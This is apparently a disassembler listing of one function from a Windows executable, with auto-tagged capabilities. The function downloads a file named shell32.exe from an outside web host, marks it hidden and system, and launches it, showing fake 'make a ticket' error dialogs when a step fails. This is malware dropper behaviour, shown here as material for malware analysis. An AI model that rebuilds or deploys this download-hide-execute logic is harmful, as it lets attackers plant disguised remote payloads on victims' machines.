Function at 0x1400030f0
Capabilities:
Check if file exists
Create process on windows
Download url
Get file attributes
Receive data
Set file attributes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x140011040]
xor rax, rsp
mov qword [rbp + 0x20], rax
lea rcx, [rbp - 0x70]
call fcn.140002f40
nop
mov r14, qword [rbp - 0x60]
test r14, r14
jne 0x14000315d
mov r9d, 0x10
lea r8, [0x14000cbd4]
lea rdx, str.Invalid_permissions__Please_make_a_ticket_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r14
cmp rax, 0xc
jb 0x140003495
lea r13, [rbp - 0x70]
mov rsi, qword [rbp - 0x70]
mov r15, qword [rbp - 0x58]
cmp r15, 0xf
cmova r13, rsi
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
lea r12, [r14 + 0xc]
mov ebx, 0xf
lea rdi, [rsp + 0x70]
cmp r12, rbx
jbe 0x140003228
mov rbx, r12
or rbx, 0xf
cmp rbx, rcx
jbe 0x1400031ea
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140009e18
test rax, rax
je 0x140003410
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140003223
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140003203
xor edi, edi
jmp 0x140003223
cmp rcx, 0x1000
jb 0x14000321b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000349b
jmp 0x1400031cb
call fcn.140009e18
mov rdi, rax
mov qword [rsp + 0x70], rdi
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], rbx
mov r8, r14
mov rdx, r13
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str._shell32.exe]
movsd qword [rdi + r14], xmm0
mov eax, dword [0x14000cc18]
mov dword [rdi + r14 + 8], eax
mov byte [rdi + r12], 0
lea rbx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rbx, qword [rsp + 0x70]
xor edi, edi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov r8, rbx
lea rdx, str.http:__ili.ink_shell32.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jns 0x1400032b4
mov r9d, 0x10
lea r8, [0x14000cbd4]
lea rdx, str.Cloud_server_unreachable__Please_make_a_ticket_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
movups xmmword [rbp + 4], xmm0
mov dword [rbp + 0x14], eax
mov dword [rbp - 0x50], 0x68
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x14000331b
mov r9d, 0x10
lea r8, [0x14000cbd4]
lea rdx, str.Sideloading_has_failed__Please_make_a_ticket_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, 6
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x140003355
mov r9d, 0x10
lea r8, [0x14000cbd4]
lea rdx, str.Initializing_has_failed__Please_make_a_ticket_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400033b7
mov r9d, 0x10
lea r8, [0x14000cbd4]
lea rdx, str.Loading_has_failed__Please_make_a_ticket_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14000341c
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003417
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003417
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009e10
movdqa xmm0, xmmword [0x14000d510]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], dil
cmp r15, 0xf
jbe 0x140003468
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140003460
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003460
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140009e10
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.140009df0
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140002030
nop
call fcn.140001f90
int3